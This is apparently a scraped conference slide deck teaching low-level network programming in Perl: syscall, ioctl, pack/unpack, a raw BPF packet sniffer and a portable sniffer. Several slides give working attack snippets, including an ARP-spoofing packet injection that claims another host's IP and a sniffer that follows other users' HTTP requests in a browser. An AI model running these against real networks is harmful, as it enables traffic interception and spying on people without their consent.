View
216
Download
3
Category
Preview:
Citation preview
Who is Samy?
• Co-Founder of Fonality, IP PBX Company
• ”Narcissistic Vulnerability Pimp”
(aka Security Researcher for fun)
• Passionate Perl Programmer
• Lady Gaga aficionado
2
Why am I talking?
• Share the awesomeness of the packet
• Prove that you can do low-level in Perl
• Explain why packet-fu is useful
• Provide examples of useful tools
• Write portable, system-level software
• I like turtles
3
What can we do with this?
• System-Level Software– Porting tools like tcpdump, ifconfig, lsof, arp, etc
• Network Monitoring– Intrusion Detection Systems, Port Scanning
• Packet sniffing/injection/pen testing– Deciphering protocols, packet “grepping”– Packet replaying, man-in-the-middling– Traffic/flow control, TCP session control– Browser following (HTTP sniffing) – Network mapping/fingerprinting– ARP spoofing, DNS spoofing
4
So how do we do it?
• Inline::C … cool, but NAH!• XS .. That’s a great way…but nope!• system() ? LOLOCOPTERS!• syscall() //;# low-level syscalls in perl!• syscall(SYS___sysctl, …) //;# sysctl in perl!• ioctl() //;# control special devices/FHs!• fcntl() //;# more control over devices!• pack/unpack //;# deal with binary strings• socket() //;# we’ll use this for some raw sockets• setsockopt() //;# more modifications to sockets
5
The Basics: Automation
• Don’t convert .h (headers) to perl• Perl will do it for you!
• h2ph.pl (old school)• c2phear.pl, part of Packet• use Config.pm to tell you type sizes
use Config; print $Config{“intsize”}; # 4
6
The Basics: C Definitions/Sizes#define BPF_MAXBUFSIZE 0x80000
sub BPF_MAXBUFSIZE { 0x80000 }
#define _IOC(inout,group,num,len) (inout | ((len & IOCPARM_MASK) << 16) | ((group) << 8) | (num))
sub _IOC {
my ($inout, $group, $num, $len) = @_;
($inout | (($len & &IOCPARM_MASK) << 16) | (($group) << 8) | ($num)); }
#define _IOR(g,n,t) _IOC(IOC_OUT, (g), (n), sizeof(t))
use Config;
sub _IOR {
my ($g, $n, $t) = @_;
&_IOC( &IOC_OUT, $g, $n, $Config{$t . “size”}); } 7
The Basics: C Structures// Use pack()/unpack()
// to do these in perl!
struct bpf_program {
u_int bf_len;
struct bpf_insn *bf_insns;
};
struct bpf_insn {
u_short code;
u_char jt;
u_char jf;
bpf_u_int32 k;
}; 8
sub bpf_program{ my %struct = @_; my $len = length(bpf_insn());
pack(“Ia$len”, $struct{‘bf_len’}, bpf_insn($struct{‘*bf_insns’}));}
sub bpf_insn{ my %struct = @_; pack(“SaaI”, @struct{qw/ code jt jf k /} );}
sysctl() to get/set system info// from arp.c on OS X & FreeBSD
int mib[6]; size_t needed;
mib[0] = CTL_NET; mib[1] = PF_ROUTE;
mib[2] = 0; mib[3] = AF_INET;
mib[4] = NET_RT_FLAGS; mib[5] = RTF_LLINFO;
sysctl(mib, 6, NULL, &needed, NULL, 0);
# in Perl, $needed also updates without using a ref
my $needed = “\0” x $Config{“intsize”};
my @mib = (&CTL_NET, &PF_ROUTE, 0, &AF_INET, &NET_RT_FLAGS, &RTF_LLINFO);
my $mib = pack(‘i’ x @mib, @mib);
syscall(&SYS___sysctl, $mib, 6, 0, $needed, 0, 0);9
ioctl() and raw devices# raw BPF sniffer in perl (no libpcap!), works on Linux, OS X, *BSD
use Packet; # import our C definitions/structs/etc
open(FD, "</dev/bpf0"); # open our BPF device
$ifr = pack('a16@48', "eth0"); # set up network interface to be read
ioctl(FD, &BIOCSETIF, $ifr); # attach network interface to bpf device
ioctl(FD, &BIOCPROMISC, $undef); # go into promiscuous mode...naughty!
ioctl(FD, &BIOCGBLEN, $size); # how much we can read at a time
$buflen = unpack("l", $size); # our size is in ascii so get decimal
while (1)
{
if (sysread(FD, $packet, $buflen)) # read in our bpf header
{
$bpf = bpf_hdr_unpack($packet); # unpack the bpf header
substr($packet, 0, # remove bpf header from packet
BPF_WORDALIGN($bpf->{bh_caplen} + $bpf->{bh_hdrlen}), undef);
print $packet; # actual packet contents!
}
}
10
A Portable Packet Snifferuse Packet;
my $eth = new Packet::Ethernet;
my $ip = new Packet::IP;
my $s = Packet::Sniff->new(device => $DEVICE); # start monitoring
$s->open() || die $s->{errbuf}; # open our device
$s->loop(0, \&cf); # send packets to callback
sub cf {
my ($ud, $hdr, $pkt, $s) = @_;
my ($time, $hi) = Time::HiRes::gettimeofday(); # high-res time
$time = $1 if localtime($time) =~ /(\d+:\d+:\d+)/; # current time
$eth->decode($pkt); # decode ethernet packet
if ($eth->type == 0x0800) # 0x0800 == IP packet
{
$ip->decode($eth->data); # decode IP packet
print "$time.$hi IP $ip->{src_ip} -> $ip->{dest_ip}: $ip->{proto}\n”
unpack(“H*”, $pkt) . “\n”; # print packet + header
}
}11
ARP Spoofing – Simple!my $raw = new Packet::Inject(device => $device); # inject raw packets!
my $eth = new Packet::Ethernet()->encode(); # eth pkt will broadcast
my $arp = new Packet::ARP(
sender_eth => "a:b:c:d:e:f", # our MAC
target_eth => ”ff:ff:ff:ff:ff:ff", # broadcast
sender_ip => ”10.0.0.1", # ip we’re stealing
target_ip => ”1.2.3.4” # whatever
)->encode(); # now we have a built packet $arp
$raw->open(); # open our device for injection
$raw->write(packet => $eth . $arp); # inject!!!
$raw->close();
15
Epic Browser Sniffing sub cf {
my ($ud, $hdr, $pkt, $s) = @_;
$eth->decode($pkt); # decode ethernet packet
if ($eth->type == 0x0800) { # 0x0800 == IP packet
$ip->decode($eth->data); # decode IP packet
if ($ip->proto == 6) { # TCP packet
$tcp->decode($ip->data); # decode TCP packet
if ($tcp->dst_port == 80) { # HTTP packet
# read HTTP header
if ($tcp->data =~ /GET (\S+) HTTP.*?Host: (\S+)/s) {
# use applescript to open our browser!
system(“osascript -e 'tell application \"Safari\”
to open location \"http://$2$1\”");
}}}}}17
Recommended